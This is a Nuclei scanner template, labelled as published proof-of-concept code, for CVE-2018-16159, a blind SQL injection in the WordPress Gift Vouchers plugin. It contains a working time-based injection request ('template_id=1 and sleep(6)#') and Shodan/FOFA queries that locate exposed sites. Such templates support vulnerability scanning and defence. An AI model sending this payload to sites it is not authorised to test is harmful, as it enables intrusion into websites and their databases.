WordPress Gift Vouchers plugin before 4.1.8 contains a blind SQL injection vulnerability via the template_id parameter in a wp-admin/admin-ajax.php wpgv_doajax_front_template request. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
PoC代码[已公开]
id: CVE-2018-16159
info:
name: WordPress Gift Voucher <4.1.8 - Blind SQL Injection
author: theamanrawat
severity: critical
description: |
WordPress Gift Vouchers plugin before 4.1.8 contains a blind SQL injection vulnerability via the template_id parameter in a wp-admin/admin-ajax.php wpgv_doajax_front_template request. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
remediation: Fixed in version 4.1.8.
reference:
- https://wpscan.com/vulnerability/9117
- https://wordpress.org/plugins/gift-voucher/
- https://www.exploit-db.com/exploits/45255/
- https://nvd.nist.gov/vuln/detail/CVE-2018-16159
- https://wpvulndb.com/vulnerabilities/9117
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-16159
cwe-id: CWE-89
epss-score: 0.66357
epss-percentile: 0.98484
cpe: cpe:2.3:a:codemenschen:gift_vouchers:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: codemenschen
product: gift_vouchers
framework: wordpress
shodan-query: http.html:"/wp-content/plugins/gift-voucher/"
fofa-query: body="/wp-content/plugins/gift-voucher/"
tags: time-based-sqli,cve,cve2018,sqli,wordpress,unauth,wp,gift-voucher,edb,wpscan,wp-plugin,codemenschen
http:
- raw:
- |
@timeout: 10s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=wpgv_doajax_front_template&template_id=1 and sleep(6)#
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "images") && contains(body, "title")'
condition: and
# digest: 4a0a00473045022100b3541553172394ff5ddd48e2821bc963d5dcbc36118fcd1dc9890476d895361702204c1bb6a314b3cead4d1c7d6ec83e1a80a5d6c21d5d50ca830ebf2b01c23e419a:922c64590222798bb761d5b6d8e72950